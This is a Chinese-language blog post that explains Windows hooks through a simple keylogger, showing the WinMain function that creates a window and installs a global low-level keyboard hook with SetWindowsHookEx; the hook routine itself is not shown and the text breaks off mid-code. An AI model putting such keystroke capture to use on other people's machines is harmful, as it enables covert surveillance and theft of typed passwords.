说到hook技术,开始我真是一头雾水!
不久前看到一篇博客,实现 了一个简单的键盘记录器。我从中颇为受益!今天就来和大家分享一下我的一个小例子,并说说我的感悟!
首先就从main()函数开始吧,不过这个是带有窗口的程序,切记:WINAPI
#define _WIN32_WINNT 0x0500
#include <fstream>
#include <windows.h>
#include <iostream>
using namespace std;
const char g_szClassName[] = "Record"; //窗口名
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
WNDCLASSEX wc;
HWND hwnd; //窗口句柄
MSG Msg; //消息结构体
wc.cbSize = sizeof(WNDCLASSEX);
wc.style = 0;
wc.lpfnWndProc = WndProc;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = hInstance;
wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wc.lpszMenuName = NULL;
wc.lpszClassName = g_szClassName;
wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
RegisterClassEx(&wc); //注册窗口类
hwnd = CreateWindowEx(
WS_EX_CLIENTEDGE,
g_szClassName,
"Record",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, 240, 120,
NULL, NULL, hInstance, NULL);
ShowWindow(hwnd, SW_SHOW); //显示窗口,其实本例中显不显示无所谓啦。。。
UpdateWindow(hwnd);
HHOOK keyboardHook = SetWindowsHookEx( //安装钩子
WH_KEYBOARD_LL, //我们关注的消息,本例中关注的是所有键盘事件
keyboardHookProc, //钩子子程序,可以理解为一个回调函数(其实就 //是),用来处理我们关注的消息;执行先于窗口例程函数
hInstance,
0);
while (GetMessage(&Msg, NULL, 0, 0) > 0) //窗口程序都有的消息循环
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
return Msg.wParam;
<